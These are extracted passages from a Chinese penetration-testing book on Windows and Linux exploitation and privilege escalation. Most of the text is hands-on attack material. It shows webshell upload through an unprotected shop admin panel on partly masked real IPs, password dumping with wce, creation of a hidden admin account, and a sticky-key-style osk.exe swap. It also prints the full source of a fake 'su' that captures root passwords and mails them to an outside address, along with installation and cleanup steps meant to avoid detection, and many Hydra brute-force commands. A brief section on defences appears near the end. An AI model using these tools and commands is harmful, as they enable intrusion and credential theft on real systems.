    {"text": "如果是无目标地寻找这种漏洞，可以通过普通搜索引擎及专用搜索引擎进行搜索，查看是否 有测试页面存在。 通过搜索引擎查找 test.php，如图 2-154 所示，可以看到该目标 站点还有漏洞，并存在 baidu.zip 备份及 mszw.sql 数据库文件泄露的 情况。 2.16.2 测试页面漏洞的利用思路 测试页面漏洞的利用要根据实际情况来进行，一般来说，存在 测试页面的网站中会存在压缩文件、列目录漏洞、数据库文件备份 等。 对测试页面漏洞的主要利用思路如下。 图 2-154 检测 test.php 页面漏洞 1．扫描端口 对站点的 IP 地址进行扫描。"},
    {"text": "2．反查 IP 地址所在域名 在 http://www.yougetsignal.com/tools/web-sites-on-web-server/站点对 IP 地址进行域名反查，获取 IP 地址所在的域名列表，如图 2-156 所示。 图 2-155 扫描端口 图 2-156 反查域名 140 第 2 章 Windows 漏洞利用与提权 3．对端口进行测试 使用 IP 地址或者网站地址（带端口）进行逐一测试。 例如，发现有 8181 端口，则利用方法为 “http://www.antian365.com:8181”，查看该端口所使用的服务，判断是否提供了 Web 服务，进而通过 服务寻找漏洞。"},
    {"text": "使用“中国菜刀”后门管理工具 添加一条记录，并测试是否可以连接，如图 2-159 所示，成功获取该网站的 WebShell。 图 2-158 查询导出一句话后门 图 2-159 获取 WebShell 141 网络攻防实战研究：漏洞利用与提权 6．获取服务器密码 通过“中国菜刀”上传 wce32.exe 密码获取软件到服务器，运行“wce32 -w”命令获取当前登录 管理员的密码“ruentexo”，如图 2-160 所示。"},
    {"text": "142 第 2 章 Windows 漏洞利用与提权 图 2-163 获取域控密码 2.16.5 测试页面漏洞的修复 该漏洞的修复方法就是删除测试页面，包括无用的 phpinfo.php、test.php、test.asp、test.aspx、 test.cgi、test.jsp、test.html、test.htm、.svn/entries、info.php、info.asp、info.aspx 及 info.jsp 等测试页 面和无用的信息。"},
    {"text": "2．在浏览器中对该 IP 地址进行访问 对一些敏感端口进行访问，例如 http://115.159.**.***:70、http://115.159.**.***/、http://115.159. **.***:5985/等。"},
    {"text": "http://115.159.**.***/7z~/ http://115.159.**.***/Discuz_X3.2_SC_GBK/ http://115.159.**.***/ExtJS/ http://115.159.**.***/blog/portal.ejf http://115.159.**.***/ext-4.2.1/ http://115.159.**.***/ext-6.0.0/ http://115.159.**.***/member/ http://115.159.**.***/mywebsite/ http://115.159.**.***/phpMyAdmin/ 143 网络攻防实战研究：漏洞利用与提权 http://115.159.**.***/phpdig-1.8.8/ http://115.159.**.***/phpweb/ http://115.159.**.***/touch-2.4.2/examples/ http://115.159.**.***/shop/ 图 2-164 扫描服务器开放端口 图 2-165 存在文件目录信息泄露 对可以利用的目录进行筛选，其中 http://115.159.**.***/shop/明显为后台管理页面，如图 2-166 所示。 对这种存在后台的目录，可以先进行一些常见的弱口令登录测试，例如 admin/admin、 admin/admin888、admin/123456 登录，对没有机制码验证的后台还可以进行暴力破解。 图 2-166 电子商务 Web 系统 4．后台绕过漏洞 访问地址 http://115.159.**.***/shop/admin/，直接获取后台的部分管理权限，说明系统对后台权 限限制不严格，如图 2-167 所示，未进行授权处理。 单击“增加商品”选项，在输入框中输入任意 内容，然后直接选择一个一句话后门 PHP 文件上传，结果上传成功。 144 第 2 章 Windows 漏洞利用与提权 图 2-167 直接上传 WebShell 2.17.2 获取 WebShel 1．寻找 WebShell 地址 到前台查看最新上传的商品信息，找到刚才添加的“111”，如图 2-168 所示，上传的伪造图片文 件未成功显示。 单击右键，在新窗口中打开该图片，成功获取该 WebShell 的地址 http://115.159.**.***/ shop/admin/upimages/1.php，如图 2-169 所示。 图 2-168 寻找新增的商品信息 图 2-169 获取 WebShell 地址 2．收集和查看服务器上的敏感信息 对获取的 WebShell 地址使用“中国菜刀”一句话后门软件进行管理，然后对服务器上的文件进 行查看，寻找和收集有用的敏感信息。"},
    {"text": "145 网络攻防实战研究：漏洞利用与提权 图 2-170 收集数据库配置信息 图 2-171 登录 MySQL 数据库服务器 2.17.3 使用 WebShel 进行提权并登录服务器 1．使用 WebShell 进行提权 在 WebShell 中打开终端管理界面，如图 2-172 所示，使用“whoami”、“netstat -an | find \"3389\"” 命令分别查看系统目前运行的权限和 3389 端口开放情况，结果显示为系统最高权限，且开放了 3389 端口。"},
    {"text": "使用命令“net user king$ temp2005!* /add”、“net localgroup administrators king$ /add”，尝试添加 管理员用户。 如图 2-173 所示，成功添加管理员账号。 图 2-172 查看 3389 端口和系统当前用户权限 图 2-173 添加管理员账号 2．登录远程终端 在命令行下运行 mstsc.exe，打开远程桌面登录窗口，输入 IP 地址及刚才添加的用户名和密码， 如图 2-174 所示，成功登录系统。"},
    {"text": "访问目录 C:\\Users\\Administrator\\AppData\\Roaming\\FileZilla Server\\，打开 FileZilla 配置文件 recentserver.xml，如图 2-175 所示，获取其 adminstrator 账号的密码，经过 Base64 解密，密码为“NXNZVhHmc4q”。"},
    {"text": "图 2-174 成功登录远程终端 图 2-175 获取 FTP 账号和密码 图 2-176 获取密码 Hash 值 147 网络攻防实战研究：漏洞利用与提权 2.18 通过戴尔服务器远程访问管理卡获取服务器权限 在主机文件或者邮箱系统中极有可能保存一些账号和密码，如果里面包含戴尔服务器远程访问 管理卡的账号和密码，攻击者就可以通过加载镜像文件获取系统权限。 2.18.1 获取服务器远程访问管理卡的账号和密码 1．登录系统 戴尔服务器远程访问管理卡是在紧急情况下（例如宕机）辅助管理服务器的通道工具，通常使 用 HTTPS 协议提供服务，在戴尔和惠普的服务器上均有类似软件。 如图 2-177 所示，戴尔服务器的 远程访问管理卡界面会显示服务器的运行状况等信息。"},
    {"text": "启动虚拟控制台有两种方式，一种是通过 Java 启动， 另一种是下载可执行程序启动，换句话说，需要一些环境的支持（Java 运行环境或者.NET 框架）。"},
    {"text": "图 2-177 登录远程管理系统 图 2-178 直接登录内部操作系统 3．操控操作系统 通过虚拟控制台可对操作系统进行冷/热重启、关机、选择引导项、远程加载虚拟介质重装操作 系统等操作。"},
    {"text": "图 2-179 重启服务器 148 第 2 章 Windows 漏洞利用与提权 2.18.2 加载 ISO 文件 1．加载 ISO 文件 将本地准备好的可正常运行的 ISO 镜像文件通过“虚拟介质”映射至远程服务器，加载远程镜 像，重装操作系统，如图 2-180 所示。"},
    {"text": "选择“创建映像”选项，在如图 2-181 所示的界面中，选择一 个源文件夹，然后选择一个镜像文件，完成镜像文件的创建。 图 2-180 加载 ISO 文件 图 2-181 创建镜像 2．启用虚拟介质 如图 2-182 所示，选择“WinPE_server.iso 已映射到 CD/DVD”选项，启用该镜像文件，重启系 统后会直接进入安装界面。 3．选择 DOS 工具集（增强版） 重装系统需要停机很长时间，笔者自己测试的时候等了很久也没加载完成，因此一般不选择“重 装系统”等选项，一般建议选择“3”，如图 2-183 所示，进入 DOS 界面。 图 2-182 选择镜像文件后重启 图 2-183 选择进入 DOS 界面 4．使用 DOS 工具箱 Ghost 镜像文件通常自带 DOS 工具箱。"},
    {"text": "149 网络攻防实战研究：漏洞利用与提权 5．访问 NTFS 磁盘 如图 2-185 所示，选择访问 NTFS 分区后，可以直接查看目标所在的网站程序等信息。 图 2-184 提供访问 NTFS 分区功能 图 2-185 直接查看网站代码文件等 2.18.3 替换文件获取服务器权限 1．通过替换放大镜（osk.exe）或粘滞键（sethc.exe）等获取 WebShell 先删除 osk.exe，然后复制 cmd 为 osk，如图 2-186 所示，到 windows\\system32 目录下分别执行 如下命令。 del osk.exe //删除 osk 文件 dir osk.exe //查看文件是否被删除 copy cmd.exe osk.exe //替换 osk 为 cmd，并重命名为 osk 2．重启系统获取系统权限 重启服务器，在登录界面上打开放大镜，直接获取 cmd 的命令提示符窗口。"},
    {"text": "通过该窗口可以添加管理员命令，如 图 2-187 所示，直接获取系统权限，达到提权的目的。 图 2-186 替换系统文件 图 2-187 重启系统获取系统权限 150 第 3 章 Linux 漏洞利用与提权 在网络渗透过程中，经常碰到通过 CMS 等漏洞获取服务器的 WebShell，但因为 Linux 服务器设 置了严格的权限而较难获取 root 账号权限进而放弃的情况。"},
    {"text": "在本章中讨论了 Linux 密码获取、密码 破解，以及利用一些 Linux 漏洞来提权的方法和技巧。 本章主要内容 Ê 使用 fakesu 记录 root 用户的密码 Ê 使用 Hydra 暴力破解 Linux 密码 Ê Linux 操作系统 root 账号密码获取防范技术研究 Ê 通过 Linux OpenSSH 后门获取 root 密码 Ê 利用 Fckeditor 漏洞渗透某 Linux 服务器 Ê Chkrootkit 0.49 本地提权漏洞利用与防范研究 Ê 从服务器信息泄露到 Linux 服务器权限获取 Ê 通过 WinSCP 配置文件获取 Linux 服务器权限 Ê 通过网上信息获取某 Linux 服务器权限 Ê 渗透某 Linux 服务器并提权 Ê 通过 SQL 注入获取某 Linux 服务器权限 Ê Struts 2 远程代码执行漏洞 s2-032 及其提权利用 Ê 快速利用 s02-45 漏洞获取服务器权限 Ê 安全设置 Linux 系统操作系统的密码 3.1 使用 fakesu 记录 root 用户的密码 在 Linux 渗透中，比较容易获取服务器上网站的 WebShell。"},
    {"text": "3.1.1 使用 kpr-fakesu.c 记录 root 用户的密码 kpr-fakesu.c 程序可用于记录 root 用户的密码。 网络攻防实战研究：漏洞利用与提权 1．kpr-fakesu.c 程序源代码 kpr-fakesu.c 程序的新版本为 0.9beta167，是由 koper 开发的（koper@linuxmail.org），源代码如下。"},
    {"text": "#include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]){ FILE *fp; char *user; char *pass; char filex[100]; char clean[100]; sprintf(filex,\"/var/tmp/.mail\"); sprintf(clean,\"rm -rf /var/tmp/.su;mv -f /home/webshell/.wgetrc /home/ webshell/.bash_profile\"); if(argc==1) user=\"root\"; if(argc==2) user=argv[1]; if(argc>2){ if(strcmp(argv[1], \"-l\")==0) user=argv[2]; else user=argv[1];} fprintf(stdout,\"Password: \"); pass=getpass (\"\"); system(\"sleep 3\"); fprintf(stdout,\"su: Authentication failure\\nSorry.\\n\"); if ((fp=fopen(filex,\"w\")) != NULL) { fprintf(fp, \"%s:%s\\n\", user, pass); fclose(fp); } system(clean); system(\"rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su\"); system(\"uname -a >> /var/tmp/.mail; cat /var/tmp/.mail | mail admin@antian365.com\"); } 2．运行前必须修改程序 运行该程序前，必须对程序进行修改，否则即使执行该程序也不会得到结果。"},
    {"text": "（1）修改密码记录的文件名称 在代码中修改 sprintf(filex,\"/var/tmp/.mail\")函数。 在该函数中默认生成的密码记录文件的后缀是 “.mail”，可以将“.mail”修改为任意文件后缀（切记修改时一定要全部修改，以上代码中共有 3 处 需要修改）。"},
    {"text": "mv -f /home/webshell/.wgetrc/home/webshell/.bash_profile\")； ” 中的“/home/webshell”修改为实际用户的主目录名称（以上代码中有 2 处需要修改）。"},
    {"text": "（3）修改邮件发送地址 将“system(\"uname -a >> /var/tmp/.mail； cat /var/tmp/.mail | mail admin@antian365.com\")； ”中的 152 第 3 章 Linux 漏洞利用与提权 邮件地址修改为能够正常接收邮件的邮件地址。"},
    {"text": "3.1.2 运行键盘记录程序 （1）将 fakesu.c 程序复制到用户目录下 如果具备 SSH 用户权限，可以通过 SSH Secure Shell 的文件传输功能将本地文件上传到服务器 中，如图 3-1 所示。 如果具备 WebShell 权限，也可以通过 WebShell 将 fakesu.c 程序上传到服务器中。 如果是反弹的 DOS 命令提示符，则可以通过命令“wget http://www.somesite.com/ fakesu.c”将其下载 到服务器中。 图 3-1 将代码上传到服务器 （2）再次检查源代码 使用“cat fakesu.c”命令查看程序源代码，确认之前提及的 3 个地方都已正确修改，如图 3-2 所示。"},
    {"text": "Chmod 777 fakesu.c gcc -o .su fakesu.c; rm -rf fakesu.c mv .su /var/tmp/.su cd ~ cp .bash_profile .wgetrc cp .bash_profile .wgetrb echo \"alias su=/var/tmp/.su\">>.bash_profile Logout “Chmod 777 fakesu.c”表示使程序“fakesu.c”具有最高权限。"},
    {"text": "rm -rf fakesu.c”用于编译 fakesu.c 程序，生成.su 文件，同时彻底删除 fakesu.c 程序。 “rm -rf”用于在 Linux 中彻底删除文件及目录（不管目录中是否存在文件）。"},
    {"text": "执行命令后，如图 3-3 所示，编译 fakesu.c 程序时可能会出现警告信息“webadm.c： 19：警告：赋值时将整数赋给指针，未作类型转换”，该警告信息不会影响程序的正常运行。"},
    {"text": "图 3-3 执行命令 3.1.3 查看密码记录文件 根据 fakesu.c 程序中设置的密码记录文件可知，在本例中记录的文件为“/var/tmp/.pwds”。 该文 件默认为隐藏属性，可以直接通过命令“cat /var/tmp/.pwds”查看，如图 3-4 所示，记录的 root 用户 的密码为“simeon”。 154 第 3 章 Linux 漏洞利用与提权 图 3-4 获取 root 用户的密码 3.1.4 删除安装文件 当 fakesu.c 程序成功记录 root 用户的密码后，需要删除安装的程序文件，否则时间久了容易引 起管理员的警觉。"},
    {"text": "rm -rf /var/tmp/.su cp .wgetrb .bash_profile rm -rf .wgetrc rm -rf /var/tmp/.pwds 3.2 使用 Hydra 暴力破解 Linux 密码 Hydra 是世界顶级的密码暴力破解工具，支持几乎所有协议的在线密码破解，功能强大，密码能 否被破解的关键取决于破解字典是否足够强大。"},
    {"text": "在网络安全渗透过程中，Hydra 是一款必备的测试工 具，配合社工库进行社会工程学攻击，有时会获得意想不到的效果。 3.2.1 Hydra 简介 Hydra 是著名黑客组织 thc 开发的一款开源的暴力密码破解工具，可以在线破解多种密码，目前 已经被 Backtrack 和 Kali 等渗透平台收录。"},
    {"text": "Hydra 7.6 的下载地址为 http://www.thc.org/releases/hydra-7.6.tar.gz，它支持 AFP、Cisco AAA、 Cisco auth、Cisco enable、CVS、Firebird、FTP、uHTTP-FORM-GET、HTTP-FORM- POST、HTTP-GET、 HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NCP、NNTP、Oracle Listener、 Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、RSH、SAP/R3、 SIP、SMB、SMTP、SMTP Enum、SNMP、SOCKS5、SSH（v1 和 v2）、Subversion、Teamspeak（TS2）、 155 网络攻防实战研究：漏洞利用与提权 Telnet、VMware-Auth、VNC、XMPP 等类型密码的破解。"},
    {"text": "3.2.2 Hydra 的安装与使用 Hydra 可以在 Debian 和 Ubuntu 等环境下安装和使用。 1．在 Debian 和 Ubuntu 环境下安装 Hydra 如果是 Debian 和 Ubuntu 发行版，会自带 Hydra，可直接使用 apt-get 在线安装，命令如下。"},
    {"text": "sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra 如果要使用 Redhat/Fedora 发行版的源码包编译安装，需要先安装相关依赖包，命令如下。 yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel 2．安装 CentOS CentOS 的安装命令如下。"},
    {"text": "# tar zxvf hydra-7.6-src.tar.gz # cd hydra-6.0-src # ./configure # make # make install 3．使用 Hydra BT5 和 kali 都默认安装了 Hydra。"},
    {"text": "在 Kali 中，依次单击“Kali Linux”→“Password Attacks”→ “Online Attacks”→“Hydra”选项即可打开 Hydra。 在 CentOS 终端中，输入命令“/usr/local/bin/hydra” 即可打开该暴力破解工具。"},
    {"text": "除此之外，还可以通过“hydra-wizard.sh”命令进行向导式设置来密码破 解，如图 3-5 所示。 图 3-5 使用 hydra-wizard.sh 进行密码破解 4．安装 libssh 如果不安装 libssh，在运行 Hydra 破解账号时会出现错误。"},
    {"text": "如图 3-6 所示，显示错误提示信息 156 第 3 章 Linux 漏洞利用与提权 “[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!”，在 CentOS 下运行如下 命令即可解决此问题。"},
    {"text": "yum install cmake wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz tar zxf libssh-0.4.8.tar.gz cd libssh-0.4.8 mkdir build cd build cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON .. make make install cd /test/ssh/hydra-7.6 //此为下载 Hydar 并解压的目录 make clean ./configure make make install 图 3-6 libssh 模块缺少错误 5．Hydra 参数详细说明 Hydra 命令示例如下。"},
    {"text": "hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] -l LOGIN：指定破解的用户名称，对特定用户破解。 -L FILE：从文件中加载用户名进行破解。"},
    {"text": "service：指定服务名，支持的服务和协议包括 Telnet、FTP、POP3[-ntlm]、IMAP[-ntlm]、SMB、 SMB NT、http[s]-{head|get}、http-{get|post}-form、http-proxy、Cisco、Cisco-Enable、VNC、 LDAP2、LDAP3、MSSQL、MySQL、Oracle-Listener、Postgres、NNTP、Socks5、REXEC、 Rlogin、PCNFS、SNMP、RSH、CVS、SVN、ICQ、SAPR3、SSH2、SMTP-Auth[-ntlm]、 pcAnywhere、TeamSpeak、SIP、Vmauthd、Firebird、NCP、AFP 等。"},
    {"text": "3.2.3 Hydra 应用实例 1．破解 SSH 账号 破解 SSH 账号有两种方式，一种是指定账号破解，另一种是指定用户列表破解，命令如下。 hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh 例如，输入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns 192.168.44.139 ssh”，对 IP 地址为 192.168.44.139 的 root 账号密码进行破解，如图 3-7 所示，破解成功后显示其详细信息。 图 3-7 破解 SSH 账号 158 第 3 章 Linux 漏洞利用与提权 输入命令“hydra -l root -P pwd2.dic -t 1 -vV -e ns -o save.log 192.168.44.139 ssh”，将扫描 结果保存在 save.log 文件中，使用“cat save.log”命令查看扫描结果，如图 3-8 所示。 图 3-8 查看破解日志 2．破解 FTP 账号 （1）破解指定密码 hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV （2）批量破解 FTP 账号和密码 hydra -L list_user -P list_password 192.168.56.101 ftp -V 对 FTP 服务器（192.168.56.101）进行密码破解，如图 3-9 所示。 图 3-9 对 FTP 密码进行破解 3．GET 方式提交，破解 Web 登录 hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/ hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php 159 网络攻防实战研究：漏洞利用与提权 4．POST 方式提交，破解 Web 登录 （1）hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form \"/admin/login.php:username= ^USER^ &password=^PASS^&submit=login:sorry password\" hydra -L list_user -P list_password 192.168.0.115 http-post-form \"member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes&in ajax=1:fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes& handlekey=ls:Login failed\" -V 以上示例表示对 192.168.0.115 进行破解，需要定义登录的 URL，以及设置登录验证和错误登录 标记，效果如图 3-10 所示。 member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes &inajax=1 fastloginfield=username&username=^USER^&password=^PASS^&quickforward=yes&han dlekey=ls Login failed 图 3-10 对 HTTP 进行暴力破解 （2）对 admin 密码进行破解 hydra -t 3 -l admin -P pass.txt -o out.txt -f 192.168.0.115 http-post-form \"login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>\" “-t”表示同时线程数为 3；"},
    {"text": "5．破解 HTTPS hydra -m /index.php -l muts -P pass.txt 192.168.0.115 https 6．破解 teamspeak hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak 160 第 3 章 Linux 漏洞利用与提权 7．破解 Cisco hydra -P pass.txt 192.168.0.115 cisco hydra -m cloud -P pass.txt 192.168.0.115 cisco-enable 8．破解 SMB hydra -l administrator -P pass.txt 192.168.0.115 smb 9．破解 POP3 hydra -l muts -P pass.txt my.pop3.mail pop3 10．破解远程终端账号 （1）破解管理员账号 hydra ip rdp -l administrator -P pass.txt -V （2）批量破解账号 hydra -s 3389 192.168.44.138 rdp -L user.txt -P pwd.txt –V 破解效果如图 3-11 所示。 图 3-11 破解 3389 账号 11．破解 HTTP-Proxy hydra -l admin -P pass.txt http-proxy://192.168.0.115 12．破解 IMAP hydra -L user.txt -p secret 192.168.0.115 imap PLAIN hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN 参考文章 http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/ http://www.aldeid.com/wiki/Thc-hydra#Install_Hydra 161 网络攻防实战研究：漏洞利用与提权 3.3 Linux 操作系统 root 账号密码获取防范技术研究 Linux 操作系统由于其开源性、低成本等特点，在商业上运用越来越多，很多公司都采用 LAMP （Linux+Apache+MySQL+PHP）典型架构。"},
    {"text": "在 Windows 操作系统中，不论设置多么复杂的密码，都可以通过彩虹表、键 盘记录、mimikatz_trunk 域名注入获取密码等技术获取包括 Windows Server 2008 在内的所有操作系 统密码。"},
    {"text": "在获 得网站 WebShell 权限的前提下，通过提权等方法可以获得系统权限，通过查看/etc/shadow 文件的内 容可以获取 Linux 操作系统的用户名和加密密码，但获取最高权限 root 用户的密码就比较困难。"},
    {"text": "本节的主要研究内容包括：使用普通用户权限记录 root 密码，使用 SSH 后门方法记录 root 密 码，安装 Rootkit 后门程序记录 root 账号密码，通过 John 工具破解 Shadow 密码，使用 Sulog 后门记 录 SU 密码。"},
    {"text": "1．Linux 密码构成 在 Linux 系统中，涉及系统登录密码的重要文件有两个，分别是/etc/passwd 和/etc/shadow，第一 个文件记录用户信息，第二个文件真正保存用户密码信息。"},
    {"text": "在/etc/passwd 文件中，每一行表示一个用 户的信息，一行有 7 个段位，每个段位用冒号分割。 下面是一个 Linux 系统中的/etc/passwd 文件的 两行，其格式为“username:x:UID:GID:username full:username home:shell type”。"},
    {"text": "/etc/shadow 是/etc/passwd 的影子文件，这个文件并不是由/etc/passwd 产生的，这两个文件应该是 对应互补的。 shadow 的内容包括用户名及被加密的密码，以及其他/etc/passwd 文件中不能包括的信息， 例如用户的有效期限等。"},
    {"text": "第 1 字段：用户名（也称为登录名），/etc/shadow 文件中的用户名与/etc/passwd 文件中的 用户名是相同的，这样就把 passwd 和 shadow 中使用的用户记录联系在一起，这个字段是非 空的。"},
    {"text": "第 7 字段：口令过期之后多少天禁用此用户。 此字段表示用户口令作废多少天后系统会禁用 此用户，也就是说，系统不再让此用户登录，也不会提示用户过期，而是完全禁用。 第 8 字段：用户过期日期。 此字段指定了用户作废的天数（从 1970 年 1 月 1 日开始的天 数），如果这个字段的值为空，则账号永久可用。"},
    {"text": "例如，某系统 root 账号在 etc/shadow 文件中的表现方式为“root:$1$kbIAhX/R$PiLL1U.n6bivtIr4o Ti2y0:15377:0:99999:7:::”。"},
    {"text": "2．Linux 密码文件位置 绝大部分 Linux 操作系统的密码文件名称为 shadow，但也有一些特殊的 Linux/UNIX 操作系统 的密码文件名称为 passwd，而且密码文件所在位置也不一样。 下面是一些常见 Linux 系统的密码文 件位置。"},
    {"text": "1．查看密码的加密算法 Linux 账户的密码加密后存放于/etc/shadow 文件中。 Linux 操作系统的密码采用的加密方式取 决于/etc/pam.d/system-auth 或者/etc/pam.d/passwd 文件中的定义，通过“more/etc/pam.d/system-auth” 或者“authconfig --test | grep hashing”命令可以获取操作系统使用哪种加密算法，目前有 SHA-256、 SHA-512 和 MD5 加密算法。"},
    {"text": "163 网络攻防实战研究：漏洞利用与提权 在 Red Hat Enterprise Linux Server 中，可以通过“authconfig --test | grep hashing”命令获取当前 系统账号的密码加密算法，如图 3-12 所示。 图 3-12 获取 Red Hat Enterprise Linux Server 系统账号加密算法 2．Linux/UNIX 采用的 5 种加密算法 Linux/UNIX 操作系统目前采用了 5 种加密算法，可以通过加密后的密码值来识别，主要是通过账 号后面的 $X 进行判断。"},
    {"text": "$1 表示 MD5 加密算法，$2 表示使用 Blowfish 加密算法，$5 表示使用 SHA-256 加密算法，$6 表示使用 SHA-512 加密算法，其余为标准的 DES。 例如， “root:$1$kbIAhX/R$PiLL1U. n6bivtIr4oTi2y0:15377:0:99999:7:::”的加密算法为 MD5。"},
    {"text": "3．Linux 密码操作 对于 Linux 密码操作，主要有增加、删除和修改，第一次添加用户时需要设定一个密码，修改 密码使用“passwd”，删除用户时系统将自动删除设置的密码。"},
    {"text": "1．键盘记录获取法 根据操作系统内核版本，编译一个修改过的 SSH 或者内核键盘记录软件，早期的键盘记录软件 有 Keylogger、Keylog 等。 在 root 账号下通过编译键盘记录程序或者执行编译好的键盘记录程序， 当 root 用户登录时，程序自动捕获 root 账号输入的密码。"},
    {"text": "如果被控服务器是 Linux 服务 器，目前通过开源软件比较难抓取 SSH 的密码（需要进行中间人攻击，Dsniff 不具备中间人攻击 的能力，而 Windows 下的 Cain 已实现伪造证书进行中间人攻击），所以，可以变通地通过抓取其他 服务的密码获取 root 密码，例如 FTP、SMB。"},
    {"text": "（1）fakesu.c 程序法 网上使用的 kpr-fakesu.c（简称 fakesu.c）程序由 koper（koper@linuxmail.org）开发，程序最新 版本为 V0.9beta167。"},
    {"text": "该程序是在 WebShell 权限或者拥有普通账号的权限下，通过修改该程序中的配 置文件，当前用户使用 SU 命令时，捕获具有 root 账号权限的密码，如图 3-13 所示。"},
    {"text": "4．暴力破解法 （1）在线网站破解法 通过提权或者其他方法获取 root 权限后，通过查看/etc/shadow 文件的内容，将加密的密文提取 出来，访问 cmd5 网站进行破解。"},
    {"text": "需要注意的是，提取的密文为第 2 字段，例如“root:$1$kbIAhX/ R$PiLL1U.n6bivtIr4oTi2y0:15377:0:99999:7:::”中的密文为“$1$kbIAhX/R$PiLL1U.n6bivtIr4oTi2y0”。"},
    {"text": "图 3-14 通过 cmd5 网站在线破解 Linux 密码 （2）John 软件破解法 John the Ripper Password Cracker（简称“John”）是一款 Linux 专用密码破解工具，网站地址为 http://www.openwall.com/john/。 通过 John 暴力密码破解工具进行密码破解，执行的命令如下。 ① tar zxvf john-1.7.9.tar.gz ② cd src ③ make ④ make clean generic（或者 make clean SYSTEM） ⑤ cd run ⑥ ./unshadow /etc/passwd /etc/shadow >passwd.txt ⑦ chmod 600 passwd.txt ⑧ ./john passwd.txt ⑨ ./john -show passwd.txt （3）SSH 暴力破解 Secure Shell（缩写为“SSH”）由 IETF 的网络工作小组（Network Working Group）制定。"},
    {"text": "SSH 是一项创建在应用层和传输层基础上的安全协议，为计算机上的 Shell（壳层）提供安全的传输和使 用环境。 SSH 是目前较可靠的、专为远程登录会话和其他网络服务提供安全性的协议。 利用 SSH 协 议可以有效防止远程管理过程中的信息泄露问题。 通过 SSH 可以对所有传输的数据进行加密，也能 够防止 DNS 欺骗和 IP 地址欺骗。 SSH 是 Linux 下最常见的一个服务，绝大多数操作系统安装后都 会配置该服务。 通过连接 SSH 服务远程管理计算机，其默认端口为 22。"},
    {"text": "Freebuf 网站投稿者 H3lvin 的研究表明，10 年前，一台服务器放在网络上，大概数周的时间才会被黑客光顾，而现在，一台服 务器放在网络中，几个小时之内就会有黑客尝试攻击，且 SSH 暴力破解攻击经久不衰。"},
    {"text": "thc-hydra 的最早版本 为 7.6（下载地址为 https://www.thc.org/thc-hydra/），是一款著名的暴力破解工具，其常见 SSH 暴力 破解命令为“hydra -l root -P /home/Linux/passwd.dic -e ns -f -vV target_ip ssh2”。"},
    {"text": "SSH 账号脚本暴力工具通过 编程模拟实际登录进行暴力破解，常见的有 theRandy 撰写的 SSH 暴力破解程序，在 Linux 下通过执 行“python sshCommand2.py -H 10.10.1.36 -u root -F dictionary. txt”命令对 IP 地址为 10.10.1.36 的服 务器的 root 账号进行密码暴力破解。"},
    {"text": "166 第 3 章 Linux 漏洞利用与提权 3.3.4 Linux root 账号密码防范技术 针对可能出现的获取 Linux root 账号的技术，可以通过安全防范技术和安全规范等进行防范，本 节给出一些可供参考的方法和策略。"},
    {"text": "1．安全技术防范 （1）设置强健的账号密码安全策略 针对获取 shadow 值后进行的密码破解，可以采取对系统普通账号和 root 账号设置强健的密码 安全策略，定期执行安全检测和维护来防范。"},
    {"text": "（2）定期升级系统补丁和应用程序补丁 对高风险业务程序做降权处理，尽量以低权限运行，例如 JBoss 和 Structs 等，确保即使出现高 危漏洞也不会危及 root 权限。 及时更新系统补丁和应用程序补丁，关注安全业界高危漏洞，防范通 过 Web 应用程序漏洞直接获取 root 权限。 （3）定期对系统进行 Rootkit 专用检测 针对 Rootkit 程序可以通过 Rootkit 检测程序来防范，互联网上有 Rootkit Hunter 和 Chkrootkit 两 款开源软件，可以检测绝大部分已知的 Rootkit、嗅探和后门程序。 2．SSH 账号防暴力破解 有关防范 SSH 账号被暴力破解，网上已经有很多方法，例如修改 SSH 默认端口、采用 RSA 公 钥认证、使用 IPTables 脚本、使用 SSHD 日志过滤、使用 tcp_wrappers 过滤及使用 knockd 等。 3．建立完善的入侵应急响应制度 对重点系统和重要系统定期聘请专业安全公司进行系统风险评估和安全检测，发现系统存在的 漏洞和弱点，针对这些弱点和漏洞进行改进。 同时，建立入侵应急响应制度，针对各种可能出现的 入侵情况，建立相应的处理措施。"},
    {"text": "3.4 通过 Linux OpenSSH 后门获取 root 密码 相对于 Windows 操作系统，Linux 操作系统的密码较难获取，而很多 Linux 服务器都配置了 OpenSSH 服务。 在获取 root 权限的情况下，可以通过修改或者更新 OpenSSH 代码等方法，截取并保 存其 SSH 登录账号和密码，甚至留下一个隐形的后门，达到长期控制 Linux 服务器的目的。"},
